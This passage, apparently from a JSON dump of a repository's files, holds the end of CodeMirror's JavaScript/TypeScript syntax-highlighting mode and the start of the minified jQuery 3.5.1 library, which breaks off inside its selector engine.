== \"string\" || type == \"number\" || type == \"atom\") return cont(afterType);\n    if (type == \"{\") return cont(pushlex(\"}\"), commasep(typeprop, \"}\", \",;\"), poplex, afterType)\n    if (type == \"(\") return cont(commasep(typearg, \")\"), maybeReturnType)\n  }\n  function maybeReturnType(type) {\n    if (type == \"=>\") return cont(typeexpr)\n  }\n  function typeprop(type, value) {\n    if (type == \"variable\" || cx.style == \"keyword\") {\n      cx.marked = \"property\"\n      return cont(typeprop)\n    } else if (value == \"?\") {\n      return cont(typeprop)\n    } else if (type == \":\") {\n      return cont(typeexpr)\n    } else if (type == \"[\") {\n      return cont(expression, maybetype, expect(\"]\"), typeprop)\n    }\n  }\n  function typearg(type) {\n    if (type == \"variable\") return cont(typearg)\n    else if (type == \":\") return cont(typeexpr)\n  }\n  function afterType(type, value) {\n    if (value == \"<\") return cont(pushlex(\">\"), commasep(typeexpr, \">\"), poplex, afterType)\n    if (value == \"|\" || type == \".\") return cont(typeexpr)\n    if (type == \"[\") return cont(expect(\"]\"), afterType)\n    if (value == \"extends\") return cont(typeexpr)\n  }\n  function vardef() {\n    return pass(pattern, maybetype, maybeAssign, vardefCont);\n  }\n  function pattern(type, value) {\n    if (type == \"modifier\") return cont(pattern)\n    if (type == \"variable\") { register(value); return cont(); }\n    if (type == \"spread\") return cont(pattern);\n    if (type == \"[\") return contCommasep(pattern, \"]\");\n    if (type == \"{\") return contCommasep(proppattern, \"}\");\n  }\n  function proppattern(type, value) {\n    if (type == \"variable\" && !cx.stream.match(/^\\s*:/, false)) {\n      register(value);\n      return cont(maybeAssign);\n    }\n    if (type == \"variable\") cx.marked = \"property\";\n    if (type == \"spread\") return cont(pattern);\n    if (type == \"}\") return pass();\n    return cont(expect(\":\"), pattern, maybeAssign);\n  }\n  function maybeAssign(_type, value) {\n    if (value == \"=\") return cont(expressionNoComma);\n  }\n  function vardefCont(type) {\n    if (type == \",\") return cont(vardef);\n  }\n  function maybeelse(type, value) {\n    if (type == \"keyword b\" && value == \"else\") return cont(pushlex(\"form\", \"else\"), statement, poplex);\n  }\n  function forspec(type) {\n    if (type == \"(\") return cont(pushlex(\")\"), forspec1, expect(\")\"), poplex);\n  }\n  function forspec1(type) {\n    if (type == \"var\") return cont(vardef, expect(\";\"), forspec2);\n    if (type == \";\") return cont(forspec2);\n    if (type == \"variable\") return cont(formaybeinof);\n    return pass(expression, expect(\";\"), forspec2);\n  }\n  function formaybeinof(_type, value) {\n    if (value == \"in\" || value == \"of\") { cx.marked = \"keyword\"; return cont(expression); }\n    return cont(maybeoperatorComma, forspec2);\n  }\n  function forspec2(type, value) {\n    if (type == \";\") return cont(forspec3);\n    if (value == \"in\" || value == \"of\") { cx.marked = \"keyword\"; return cont(expression); }\n    return pass(expression, expect(\";\"), forspec3);\n  }\n  function forspec3(type) {\n    if (type != \")\") cont(expression);\n  }\n  function functiondef(type, value) {\n    if (value == \"*\") {cx.marked = \"keyword\"; return cont(functiondef);}\n    if (type == \"variable\") {register(value); return cont(functiondef);}\n    if (type == \"(\") return cont(pushcontext, pushlex(\")\"), commasep(funarg, \")\"), poplex, maybetype, statement, popcontext);\n    if (isTS && value == \"<\") return cont(pushlex(\">\"), commasep(typeexpr, \">\"), poplex, functiondef)\n  }\n  function funarg(type) {\n    if (type == \"spread\") return cont(funarg);\n    return pass(pattern, maybetype, maybeAssign);\n  }\n  function classExpression(type, value) {\n    // Class expressions may have an optional name.\n    if (type == \"variable\") return className(type, value);\n    return classNameAfter(type, value);\n  }\n  function className(type, value) {\n    if (type == \"variable\") {register(value); return cont(classNameAfter);}\n  }\n  function classNameAfter(type, value) {\n    if (value == \"<\") return cont(pushlex(\">\"), commasep(typeexpr, \">\"), poplex, classNameAfter)\n    if (value == \"extends\" || value == \"implements\" || (isTS && type == \",\"))\n      return cont(isTS ? typeexpr : expression, classNameAfter);\n    if (type == \"{\") return cont(pushlex(\"}\"), classBody, poplex);\n  }\n  function classBody(type, value) {\n    if (type == \"variable\" || cx.style == \"keyword\") {\n      if ((value == \"async\" || value == \"static\" || value == \"get\" || value == \"set\" ||\n           (isTS && (value == \"public\" || value == \"private\" || value == \"protected\" || value == \"readonly\" || value == \"abstract\"))) &&\n          cx.stream.match(/^\\s+[\\w$\\xa1-\\uffff]/, false)) {\n        cx.marked = \"keyword\";\n        return cont(classBody);\n      }\n      cx.marked = \"property\";\n      return cont(isTS ? classfield : functiondef, classBody);\n    }\n    if (type == \"[\")\n      return cont(expression, expect(\"]\"), isTS ? classfield : functiondef, classBody)\n    if (value == \"*\") {\n      cx.marked = \"keyword\";\n      return cont(classBody);\n    }\n    if (type == \";\") return cont(classBody);\n    if (type == \"}\") return cont();\n    if (value == \"@\") return cont(expression, classBody)\n  }\n  function classfield(type, value) {\n    if (value == \"?\") return cont(classfield)\n    if (type == \":\") return cont(typeexpr, maybeAssign)\n    if (value == \"=\") return cont(expressionNoComma)\n    return pass(functiondef)\n  }\n  function afterExport(type, value) {\n    if (value == \"*\") { cx.marked = \"keyword\"; return cont(maybeFrom, expect(\";\")); }\n    if (value == \"default\") { cx.marked = \"keyword\"; return cont(expression, expect(\";\")); }\n    if (type == \"{\") return cont(commasep(exportField, \"}\"), maybeFrom, expect(\";\"));\n    return pass(statement);\n  }\n  function exportField(type, value) {\n    if (value == \"as\") { cx.marked = \"keyword\"; return cont(expect(\"variable\")); }\n    if (type == \"variable\") return pass(expressionNoComma, exportField);\n  }\n  function afterImport(type) {\n    if (type == \"string\") return cont();\n    return pass(importSpec, maybeMoreImports, maybeFrom);\n  }\n  function importSpec(type, value) {\n    if (type == \"{\") return contCommasep(importSpec, \"}\");\n    if (type == \"variable\") register(value);\n    if (value == \"*\") cx.marked = \"keyword\";\n    return cont(maybeAs);\n  }\n  function maybeMoreImports(type) {\n    if (type == \",\") return cont(importSpec, maybeMoreImports)\n  }\n  function maybeAs(_type, value) {\n    if (value == \"as\") { cx.marked = \"keyword\"; return cont(importSpec); }\n  }\n  function maybeFrom(_type, value) {\n    if (value == \"from\") { cx.marked = \"keyword\"; return cont(expression); }\n  }\n  function arrayLiteral(type) {\n    if (type == \"]\") return cont();\n    return pass(commasep(expressionNoComma, \"]\"));\n  }\n\n  function isContinuedStatement(state, textAfter) {\n    return state.lastType == \"operator\" || state.lastType == \",\" ||\n      isOperatorChar.test(textAfter.charAt(0)) ||\n      /[,.]/.test(textAfter.charAt(0));\n  }\n\n  // Interface\n\n  return {\n    startState: function(basecolumn) {\n      var state = {\n        tokenize: tokenBase,\n        lastType: \"sof\",\n        cc: [],\n        lexical: new JSLexical((basecolumn || 0) - indentUnit, 0, \"block\", false),\n        localVars: parserConfig.localVars,\n        context: parserConfig.localVars && {vars: parserConfig.localVars},\n        indented: basecolumn || 0\n      };\n      if (parserConfig.globalVars && typeof parserConfig.globalVars == \"object\")\n        state.globalVars = parserConfig.globalVars;\n      return state;\n    },\n\n    token: function(stream, state) {\n      if (stream.sol()) {\n        if (!state.lexical.hasOwnProperty(\"align\"))\n          state.lexical.align = false;\n        state.indented = stream.indentation();\n        findFatArrow(stream, state);\n      }\n      if (state.tokenize != tokenComment && stream.eatSpace()) return null;\n      var style = state.tokenize(stream, state);\n      if (type == \"comment\") return style;\n      state.lastType = type == \"operator\" && (content == \"++\" || content == \"--\") ? \"incdec\" : type;\n      return parseJS(state, style, type, content, stream);\n    },\n\n    indent: function(state, textAfter) {\n      if (state.tokenize == tokenComment) return CodeMirror.Pass;\n      if (state.tokenize != tokenBase) return 0;\n      var firstChar = textAfter && textAfter.charAt(0), lexical = state.lexical, top\n      // Kludge to prevent 'maybelse' from blocking lexical scope pops\n      if (!/^\\s*else\\b/.test(textAfter)) for (var i = state.cc.length - 1; i >= 0; --i) {\n        var c = state.cc[i];\n        if (c == poplex) lexical = lexical.prev;\n        else if (c != maybeelse) break;\n      }\n      while ((lexical.type == \"stat\" || lexical.type == \"form\") &&\n             (firstChar == \"}\" || ((top = state.cc[state.cc.length - 1]) &&\n                                   (top == maybeoperatorComma || top == maybeoperatorNoComma) &&\n                                   !/^[,\\.=+\\-*:?[\\(]/.test(textAfter))))\n        lexical = lexical.prev;\n      if (statementIndent && lexical.type == \")\" && lexical.prev.type == \"stat\")\n        lexical = lexical.prev;\n      var type = lexical.type, closing = firstChar == type;\n\n      if (type == \"vardef\") return lexical.indented + (state.lastType == \"operator\" || state.lastType == \",\" ? lexical.info + 1 : 0);\n      else if (type == \"form\" && firstChar == \"{\") return lexical.indented;\n      else if (type == \"form\") return lexical.indented + indentUnit;\n      else if (type == \"stat\")\n        return lexical.indented + (isContinuedStatement(state, textAfter) ? statementIndent || indentUnit : 0);\n      else if (lexical.info == \"switch\" && !closing && parserConfig.doubleIndentSwitch != false)\n        return lexical.indented + (/^(?:case|default)\\b/.test(textAfter) ? indentUnit : 2 * indentUnit);\n      else if (lexical.align) return lexical.column + (closing ? 0 : 1);\n      else return lexical.indented + (closing ? 0 : indentUnit);\n    },\n\n    electricInput: /^\\s*(?:case .*?:|default:|\\{|\\})$/,\n    blockCommentStart: jsonMode ? null : \"/*\",\n    blockCommentEnd: jsonMode ? null : \"*/\",\n    lineComment: jsonMode ? null : \"//\",\n    fold: \"brace\",\n    closeBrackets: \"()[]{}''\\\"\\\"``\",\n\n    helperType: jsonMode ? \"json\" : \"javascript\",\n    jsonldMode: jsonldMode,\n    jsonMode: jsonMode,\n\n    expressionAllowed: expressionAllowed,\n    skipExpression: function(state) {\n      var top = state.cc[state.cc.length - 1]\n      if (top == expression || top == expressionNoComma) state.cc.pop()\n    }\n  };\n});\n\nCodeMirror.registerHelper(\"wordChars\", \"javascript\", /[\\w$]/);\n\nCodeMirror.defineMIME(\"text/javascript\", \"javascript\");\nCodeMirror.defineMIME(\"text/ecmascript\", \"javascript\");\nCodeMirror.defineMIME(\"application/javascript\", \"javascript\");\nCodeMirror.defineMIME(\"application/x-javascript\", \"javascript\");\nCodeMirror.defineMIME(\"application/ecmascript\", \"javascript\");\nCodeMirror.defineMIME(\"application/json\", {name: \"javascript\", json: true});\nCodeMirror.defineMIME(\"application/x-json\", {name: \"javascript\", json: true});\nCodeMirror.defineMIME(\"application/ld+json\", {name: \"javascript\", jsonld: true});\nCodeMirror.defineMIME(\"text/typescript\", { name: \"javascript\", typescript: true });\nCodeMirror.defineMIME(\"application/typescript\", { name: \"javascript\", typescript: true });\n\n});\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/jquery.js",
    "content": "/*! jQuery v3.5.1 | (c) JS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(C,e){\"use strict\";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return\"function\"==typeof e&&\"number\"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement(\"script\");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?n[o.call(e)]||\"object\":typeof e}var f=\"3.5.1\",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&\"length\"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],\"__proto__\"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:\"jQuery\"+(f+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==o.call(e))&&(!(t=r(e))||\"function\"==typeof(n=v.call(t,\"constructor\")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,\"string\"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),\"function\"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){n[\"[object \"+t+\"]\"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S=\"sizzle\"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),D=function(e,t){return e===t&&(l=!0),0},j={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",M=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",I=\"(?:\\\\\\\\[\\\\da-fA-F]{1,6}\"+M+\"?|\\\\\\\\[^\\\\r\\\\n\\\\f]|[\\\\w-]|[^\\0-\\\\x7f])+\",W=\"\\\\[\"+M+\"*(\"+I+\")(?:\"+M+\"*([*^$|!~]?=)\"+M+\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\"+I+\"))|)\"+M+\"*\\\\]\",F=\":(\"+I+\")(?:\\\\((('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+W+\")*)|.*)\\\\)|)\",B=new RegExp(M+\"+\",\"g\"),$=new RegExp(\"^\"+M+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+M+\"+$\",\"g\"),_=new RegExp(\"^\"+M+\"*,\"+M+\"*\"),z=new RegExp(\"^\"+M+\"*([>+~]|\"+M+\")\"+M+\"*\"),U=new RegExp(M+\"|>\"),X=new RegExp(F),V=new RegExp(\"^\"+I+\"$\"),G={ID:new RegExp(\"^#(\"+I+\")\"),CLASS:new RegExp(\"^\\\\.(\"+I+\")\"),TAG:new RegExp(\"^(\"+I+\"|[*])\"),ATTR:new RegExp(\"^\"+W),PSEUDO:new RegExp(\"^\"+F),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+M+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+M+\"*(?:([+-]|)\"+M+\"*(\\\\d+)|))\"+M+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+R+\")$\",\"i\"),needsContext:new RegExp(\"^\"+M+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+M+\"*((?:-\\\\d)?\\\\d*)\"+M+\"*\\\\)|)(?=[^-]|$)\",\"i\")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\\d$/i,K=/^[^{]+\\{\\s*\\[native \\w/,Z=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,ee=/[+~]/,te=new RegExp(\"\\\\\\\\[\\\\da-fA-F]{1,6}\"+M+\"?|\\\\\\\\([^\\\\r\\\\n\\\\f])\",\"g\"),ne=function(e,t){var n=\"0x\"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\0-\\x1f\\x7f-\\uFFFF\\w-]/g,ie=function(e,t){return t?\"\\0\"===e?\"\\ufffd\":e.slice(0,-1)+\"\\\\\"+e.charCodeAt(e.length-1).toString(16)+\" \":\"\\\\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&\"fieldset\"===e.nodeName.toLowerCase()},{dir:\"parentNode\",next:\"legend\"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],\"string\"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+\" \"]&&(!v||!v.test(t))&&(1!==p||\"object\"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute(\"id\"))?s=s.replace(re,ie):e.setAttribute(\"id\",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?\"#\"+s:\":scope\")+\" \"+xe(l[o]);c=l.join(\",\")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute(\"id\")}}}return g(t.replace($,\"$1\"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+\" \")>b.cacheLength&&delete e[r.shift()],e[t+\" \"]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement(\"fieldset\");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split(\"|\"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return\"input\"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return(\"input\"===t||\"button\"===t)&&e.type===n}}function ge(t){return function(e){return\"form\"in e?e.parentNode&&!1===e.disabled?\"label\"in e?\"label\"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:\"label\"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&\"undefined\"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||\"HTML\")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener(\"unload\",oe,!1):n.attachEvent&&n.attachEvent(\"onunload\",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement(\"div\")),\"undefined\"!=typeof e.querySelectorAll&&!e.querySelectorAll(\":scope fieldset div\").length}),d.attributes=ce(function(e){return e.className=\"i\",!e.getAttribute(\"className\")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute(\"id\")===t}},b.find.ID=function(e,t){if(\"undefined\"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t=\"undefined\"!=typeof e.getAttributeNode&&e.getAttributeNode(\"id\");return t&&t.value===n}},b.find.ID=function(e,t){if(\"undefined\"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode(\"id\"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode(\"id\"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return\"undefined\"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if(\"*\"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if(\"undefined\"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML=\"<a id='\"+S+\"'></a><select id='\"+S+\"-\\r\\\\' msallowcapture=''><option selected=''></option></select>\",e.querySelectorAll(\"[msallowcapture^='']\").length&&v.push(\"[*^$]=\"+M+\"*(?:''|\\\"\\\")\"),e.querySelectorAll(\"[selected]\").length||v.push(\"\\\\[\"+M+\"*(?:value|\"+R+\")\"),e.querySelectorAll(\"[id~=\"+S+\"-]\").length||v.push(\"~=\"),(t=C.createElement(\"input\")).setAttribute(\"name\",\"\"),e.appendChild(t),e.querySelectorAll(\"[name='']\").length||v.push(\"\\\\[\"+M+\"*name\"+M+\"*=\"+M+\"*(?:''|\\\"\\\")\"),e.querySelectorAll(\":checked\").length||v.push(\":checked\"),e.querySelectorAll(\"a#\"+S+\"+*\").length||v.push(\".#.+[+~]\"),e.querySelectorAll(\"\\\\\\f\"),v.push(\"[\\\\r\\\\n\\\\f]\")}),ce(function(e){e.innerHTML=\"<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>\";var t=C.createElement(\"input\");t.setAttribute(\"type\",\"hidden\"),e.appendChild(t).setAttribute(\"name\",\"D\"),e.querySelectorAll(\"[name=d]\").length&&v.push(\"name\"+M+\"*[*^$|!~]?=\"),2!==e.querySelectorAll(\":enabled\").length&&v.push(\":enabled\",\":disabled\"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(\":disabled\").length&&v.push(\":enabled\",\":disabled\"),e.querySelectorAll(\"*,:x\"),v.push(\",.*:\")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,\"*\"),c.call(e,\"[s!='']:x\"),s.push(\"!=\",F)}),v=v.length&&new RegExp(v.join(\"|\")),s=s.length&&new RegExp(s.join(\"|\")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+\" \"]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&j.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+\"\").replace(re,ie)},se.error=function(e){throw new Error(\"Syntax error, unrecognized expression: \"+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(D),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n=\"\",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if(\"string\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||\"\").replace(te,ne),\"~=\"===e[2]&&(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\"nth\"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\"even\"===e[3]||\"odd\"===e[3])),e[5]=+(e[7]+e[8]||\"odd\"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||\"\":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(\")\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return\"*\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+\" \"];return t||(t=new RegExp(\"(^|\"+M+\")\"+e+\"(\"+M+\"|$)\"))&&m(e,function(e){return t.test(\"string\"==typeof e.className&&e.className||\"undefined\"!=typeof e.getAttribute&&e.getAttribute(\"class\")||\"\")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?\"!=\"===r:!r||(t+=\"\",\"=\"===r?t===i:\"!=\"===r?t!==i:\"^=\"===r?i&&0===t.indexOf(i):\"*=\"===r?i&&-1<t.indexOf(i):\"$=\"===r?i&&t.slice(-i.length)===i:\"~=\"===r?-1<(\" \"+t.replace(B,\" \")+\" 